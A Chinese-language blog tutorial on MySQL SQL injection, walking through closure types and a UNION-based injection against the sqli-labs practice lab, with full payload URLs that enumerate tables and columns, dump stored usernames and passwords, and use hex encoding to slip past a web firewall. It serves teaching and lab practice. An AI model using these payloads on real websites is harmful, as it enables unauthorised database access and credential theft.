基本认识及四种简单类型

前言

有网站服务的地方就需要有数据库,SQL注入是指Web应用程序对用户输入数据的合法性没有进行判断,前端传入后端的参数是可控的或没有进行过滤的。
当带入数据库进行查询,攻击者通过构造不同的SQL语句来实现对数据库的任意操作

SQL注入的两个条件

  1. 参数用户可控,可以修改上传的数据
  2. 拼接后的SQL语句带入数据库查询

Mysql数据库特点

Mysql 5.0版本以后MySQL默认在数据库中存放一个"information_schema"的数据库,在该库中,我们需要着重注意schema,tables,columns

基本认识

1.information_schema的介绍

information_schema:MySQL自带的数据库,存储了数据库中所有的数据库、表和列信息
information_schema.tables:所有表信息
information_schema.columns:所有列信息
table_schema:数据库名称
table_name:表名称
column_name:列名称
group_concat(table_name):列出所有表名

所有的闭合:****'   ''   ()   ('x')   (('x'))   (("x"))   (()) ,或者先通过 \ 通过报错查看(几率较少)

2.基本参数

GET:GET请求的参数是放在URL里的,GET请求的URL传参有长度限制,中文需要URL编码,apache 最大为8192字符,GET直接可在URL里面修改上传参数

POST:POST请求的参数是放在body里的,没有长度限制,在POST请求里'+'和'空格'是一样,POST型只能抓包在包里修改,在BurpSuite里面可以直接显示类型

COOKIE:Cookie参数放在请求头信息,提交的时候服务器会从请求头获取参数
##GET&POST区别:GET型使用URL提交注入数据,POST型利用抓包工具修改POST数据部分进行提交注入

3.注入常用查询系统函数:

#MySQL版本
version()
#数据库用户名
user()
#数据库名
database()
#系统用户名
system_user()
#当前用户名
current_user()
#当前链接数据库用户名
session_user()
#数据库路径,可以判断数据库搭建框架,猜测网站www路径,后面写shell是要知道绝对路径的
@@datadir
#数据库安装路径
@@basedir
#操作系统版本
@@version_compile_os

SQL注入四种简单类型

1.数字型:不存在闭合

select * from example where id=1;

2.字符型:存在闭合

select * from example where username='admin';

3.like搜索型:存在闭合

select * from example where title like '%标题%';

4.xx型:只考虑闭合就行,根据报错信息判断

注入方式——Union联合注入法

什么是联合注入?

联合查询:select a from b union select c from d where e;
一次显示两个查询结果,可以使第一个查询语句作为正常内容,第二个作为查询语句来构造

具体步骤

  1. 判断注入点,考虑闭合
  2. 使用order语句判断列  # 假如有n列,如果你的order by m,m>n:会出错,m<=n:正常执行
  3. 联合注入查看回显位,注意使用union时前面的语句要是错的
  4. 进行数据注入

判断方式

1.数值型

  • 先传入参数http://192.168.223.132/sqli-labs/Less-2/?id=1 出现数值
  • 修改参数http://192.168.223.132/sqli-labs/Less-2/?id=1 and 1=2 出现报错
  • 修改参数http://192.168.223.132/sqli-labs/Less-2/?id=-1 or 1=1 出现最初数值
  • id=1 and 1=2是假,传回0,所以无法出现数值,id=-1 or 1=1为真,传回1,和第一次输入一致,可判断为数值型
  • 通过order by语句http://192.168.223.132/sqli-labs/Less-2/?id=1 order by 3 判断出有3列
  • http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,3 产生回显,注意这里是-1才能回显,正常的网页回显只有一次,因为程序在展示数据的时候通常只会取结果集的第一行数据,只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,才能发现回显位为2和3位,接下来就可以通过回显位得出敏感信息

2.字符型

  • 先传参http://192.168.223.132/sqli-labs/Less-1/?id=1 出现数值
  • 修改参数http://192.168.223.132/sqli-labs/Less-1/?id=1' 出现报错信息
  • 添加注释#,查看结果http://192.168.223.132/sqli-labs/Less-1/?id=1' # 发现报错消失

eg:http://192.168.223.132/sqli-labs/Less-1/?id=1' order by 3 #

随后的操作可以在'和#之间进行SQL注入

3.搜索型

  • ?id=1%' order by 3 #

其他操作与字符型大同小异

4.xx型

eg:输入d'-->MySQL server version for the right syntax to use near ''d'')' at line 1

去掉左边和右边的一个单引号,再去掉自己输入的d',剩下的')即为类型
判断出类型后其他操作与上述类型大同小异

总结

  • 第一次输入id=xxx如果报错才可以继续判断
  • 数字型:id=1 and 1=2-->id=-1 or 1=1
  1. 字符型:1.'型 id=1'-->id=1' # (#如果不行换成%23)
       2.')型 id=1')-->id=1') #
           3.")型 id=1")-->id=1") #
        4.'))型 ****id=1'))-->id=1')) #

规范化数据库查询操作调取敏感信息

1.查看当前数据库表名

# 一个一个查
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1
# 全部查出来
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

2.查询当前数据库中指定表信息列数据


union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()

table_name='users'与table_name=0x7573657273 效果一致,只是将user转换成16进制,可用绕过WF
0b:二进制  0o:八进制  0x:十六进制

3.注入出数据库所有内容

union select 1,2,group_concat(id,0x7e,username,0x7e,password) from security.users  #输出id,username,password,中间以~作为分割,~的URL编码为0x7e

注入流程——以数字型为例,靶场为sqli-labs/Less-2

  1. 出现数值
http://192.168.223.132/sqli-labs/Less-2/?id=1
  1. 出现报错信息
http://192.168.223.132/sqli-labs/Less-2/?id=1 and 1=2
  1. 发现数值和刚开始一样
http://192.168.223.132/sqli-labs/Less-2/?id=-1 or 1=1
  1. 进行验证,发现报错和之前一样
http://192.168.223.132/sqli-labs/Less-2/?id=0
  1. 判断列数为3
http://192.168.223.132/sqli-labs/Less-2/?id=1 order by 3
  1. 判断回显位,发现为2和3
http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,3

注意使用union联合注入时,前面id=-1报错才能使得网页进行回显,即union前面的语句必须是错误的

  1. 查看当前数据库表名
http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
  1. 查询当前数据库中指定表信息列数据
http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()
  1. 注入出数据库所有内容
http://192.168.223.132/sqli-labs/Less-2/?id=-1 union select 1,2,group_concat(id,0x3a,username,0x3a,password) from security.users

结语

不管什么类型,就是对SQL中各种类型的输入进行闭合测试,构造合法SQL,欺骗后台去执行

posted @ 2021-08-11 12:41  icui4cu  阅读(335)  评论(0编辑  收藏  举报